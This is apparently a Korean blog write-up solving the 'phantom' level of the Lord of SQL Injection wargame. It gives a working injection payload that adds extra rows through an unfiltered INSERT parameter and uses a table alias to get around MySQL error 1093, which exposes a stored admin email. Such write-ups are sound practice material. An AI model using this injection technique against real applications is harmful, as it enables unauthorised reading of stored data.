-
<Lord of SQL Injection> phantomWargame/Lord of SQL Injection 2021. 12. 2. 11:47
email을 찾는 문제인 듯 하다.
GET 방식으로 전달받은 joinmail에서 duplicate를 필터링한다.
insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}');
위 구문을 이용해서 테이블에 레코드를 추가할 수 있다.
joinmail에 1을 넣어보면
별도의 필터가 없으므로
insert into prob_phantom values(0, 자기 IP, '1'), (0, 자기 IP, '2')로 여러 개의 레코드를 삽입할 수 있다.
이를 이용해서
insert into prob_phantom values (0, 자기 IP, '1'), (0, 자기 IP, (select email from prob_phantom where no=1)로 만들면
아무 일도 일어나지 않는다.
MySQL에서 insert, update, delete 등을 수행할 때 본 쿼리 테이블과 같은 테이블에서 서브쿼리로 값을 가져오면
SQL Error [1093]이 발생한다. 오라클에서는 문제없이 동작하지만, MySQL이나 MariaDB에서는 동작하지 않는다.
alias를 이용해 이를 우회할 수 있다.
insert into prob_phantom values (0, 자기 IP, '1'), (0, 자기 IP, (select email from prob_phantom [AS] 아무글자 where no=1)의 형태로 만들기 위해
?joinmail=1'),(0,'58.120.71.214', (select email from prob_phantom AS a where no=1))%23를 입력하면
"admin_secure_email@rubiya.kr"라는 이메일을 구할 수 있다.
문제를 해결할기 위한 쿼리는
"select email form prob_phantom where no=1 and email='{$_GET[email]}'" 이므로
?email=admin_secure_email@rubiya.kr를 입력하면
문제를 해결할 수 있다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> zombie (0) 2021.12.05 <Lord of SQL Injection> ouroboros (0) 2021.12.03 <Lord of SQL Injection> frankenstein (0) 2021.12.01 <Lord of SQL Injection> blue dragon (0) 2021.11.29 <Lord of SQL Injection> red dragon (0) 2021.11.28